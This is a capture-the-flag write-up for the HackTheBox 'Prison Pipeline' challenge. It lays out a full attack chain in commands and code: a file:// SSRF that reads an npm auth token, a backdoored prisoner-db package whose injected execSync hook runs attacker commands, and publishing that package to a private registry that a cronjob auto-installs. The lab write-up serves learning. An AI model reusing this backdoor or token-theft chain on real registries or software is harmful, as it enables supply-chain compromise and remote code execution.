← Back to Writeups
HTBMediumMisc

Prison Pipeline

XESXOR9/10/20265 min read
#misc#htb#medium

Prison Pipeline

Platform: HackTheBox | Category: Misc | Difficulty: Medium Date: 2026-01-29 | Status: Solved

Description

One of our crew members has been captured by mutant raiders and is locked away in their heavily fortified prison. During an initial reconnaissance, the crew managed to gain access to the prison's record management system. Your mission: exploit this system to infiltrate the prison's network and disable the defenses for the rescuers.

Solution Approach

One of our crew members has been captured by mutant raiders and is locked away in their heavily fortified prison.

Techniques: npm package hijacking, ssrf file read, supply chain attack.

Steps

Application Architecture

ComponentDescription
Main AppNode.js Express application on port 5000 (proxied via nginx on port 1337)
Verdaccio RegistryPrivate npm registry on port 4873, accessible externally via registry.prison-pipeline.htb hostname (nginx vhost)
CronjobEvery 30 seconds: checks npm outdated prisoner-db, if outdated runs npm update prisoner-db then pm2 restart prison-pipeline
FlagLocated at /root/flag, readable via SUID binary /readflag

Key Files

  • /api/prisoners/import endpoint — accepts URL parameter and fetches content using node-libcurl
  • prisoner-db — private npm package used by the application (contains index.js, curl.js, depends on node-libcurl and js-yaml)
  • Cronjob script that runs npm --registry http://localhost:4873 update prisoner-db every 30 seconds

Analysis

Vulnerability 1: SSRF via node-libcurl

The import endpoint uses node-libcurl which supports multiple protocols including file:// for local file reads and standard http://. This allows reading local files from the server.

Vulnerability 2: Leaked npm Auth Token

The .npmrc file at /home/node/.npmrc contains a Bearer token for Verdaccio authentication. This token can be extracted via SSRF file read.

Vulnerability 3: Supply Chain Attack Vector

The cronjob periodically runs npm update, which will install any newer version of prisoner-db from the internal registry. If we can publish a malicious version, it will be automatically installed and executed.

Nginx Vhost Routing (Critical Detail)

Nginx routes requests based on server_name:

  • Host: prison-pipeline.htb → Main app (port 5000)
  • Host: registry.prison-pipeline.htb → Verdaccio (port 4873)

This means the Verdaccio registry is accessible externally, but only via the correct hostname. You must add the target IP to /etc/hosts to reach it.

Solution

Step 1: Extract npm auth token via SSRF

Use the file:// protocol to read the npm configuration:

bash
curl -X POST "http://TARGET:PORT/api/prisoners/import" \
  -H "Content-Type: application/json" \
  -d '{"url": "file:///home/node/.npmrc"}'

This returns a prisoner_id. GET that prisoner to read the raw content:

bash
curl "http://TARGET:PORT/api/prisoners/PRISONER_ID"

Response contains:

//localhost:4873/:_authToken="MWZlMmI1OTRiZjMwNTJkMjYwNWZhYTE1NGJlNTVjZDQ6..."

Step 2: Add hostname to /etc/hosts

bash
sudo sh -c 'echo "TARGET_IP registry.prison-pipeline.htb" >> /etc/hosts'

IMPORTANT: This step requires sudo access. The user must do this manually. Without this hosts entry, requests go to the main app instead of Verdaccio because nginx routes by server_name.

Step 3: Create .npmrc with token

In the package directory, create .npmrc:

//registry.prison-pipeline.htb:PORT/:_authToken="TOKEN_HERE"

Step 4: Verify access

bash
npm --registry=http://registry.prison-pipeline.htb:PORT whoami --userconfig .npmrc

Step 5: Create malicious prisoner-db package

CRITICAL: Keep ALL original files (curl.js, index.js, package.json) with original dependencies (js-yaml, node-libcurl). Only add the backdoor and bump the version. Removing node-libcurl dependency or curl.js will crash the app on restart!

Only modify TWO things in the original prisoner-db source:

1. package.json — bump version to 1.0.1:

json
{
  "name": "prisoner-db",
  "version": "1.0.1",
  "description": "Prisoner database module",
  "main": "index.js",
  "dependencies": {
    "js-yaml": "^4.1.0",
    "node-libcurl": "^4.0.0"
  }
}

2. index.js — add backdoor at the START of importPrisoner() function:

javascript
async importPrisoner(url) {
    // backdoor
    const child_process = require('child_process');
    if (url.includes('PWN:')) {
        try {
            let cmd = url.replace('PWN:', '');
            let output = child_process.execSync(cmd).toString();
            return output;
        }
        catch (error) {
            return 'PWN: Error executing command.';
        }
    }
    // ... rest of original importPrisoner code unchanged ...
}

Step 6: Publish via npm

bash
npm publish --registry=http://registry.prison-pipeline.htb:PORT --userconfig .npmrc

Step 7: Wait for cronjob and trigger backdoor

Wait ~40 seconds for the cronjob to detect the new version, run npm update, and restart the app:

bash
sleep 40

curl -X POST 'http://TARGET:PORT/api/prisoners/import' \
  -H 'Content-Type: application/json' \
  -d '{"url": "PWN:/readflag"}'

The flag is returned in the prisoner_id field of the JSON response.

What Does NOT Work (Common Mistakes)

ApproachWhy It Fails
gopher:// SSRF to publishCrashes the Node.js app permanently (502 Bad Gateway), server never recovers
Removing node-libcurl from dependenciesApp crashes on restart because require('./curl') → require('node-libcurl') fails
Removing curl.js from packageSame crash — the main app depends on it
Publishing via Verdaccio PUT API with curlTarball format may be incorrect; npm publish handles this correctly
Using IP address for registryNginx routes by hostname; requests without Host: registry.prison-pipeline.htb go to main app, not Verdaccio

References

Flag

HTB{REDACTED}

Lessons Learned

  1. SSRF with node-libcurl — supports file:// for local file reads (but gopher:// crashes Node.js!)
  2. Supply chain attacks via private registries — if you can publish, you can get RCE
  3. Preserve original package structure — removing dependencies or files the app needs will crash it
  4. Backdoor in existing functions — inject code into existing methods rather than replacing the module entirely
  5. Use npm publish not manual API calls — npm handles tarball creation, checksums, and metadata correctly
  6. Nginx vhost routing matters — internal services may be accessible externally via the right Host header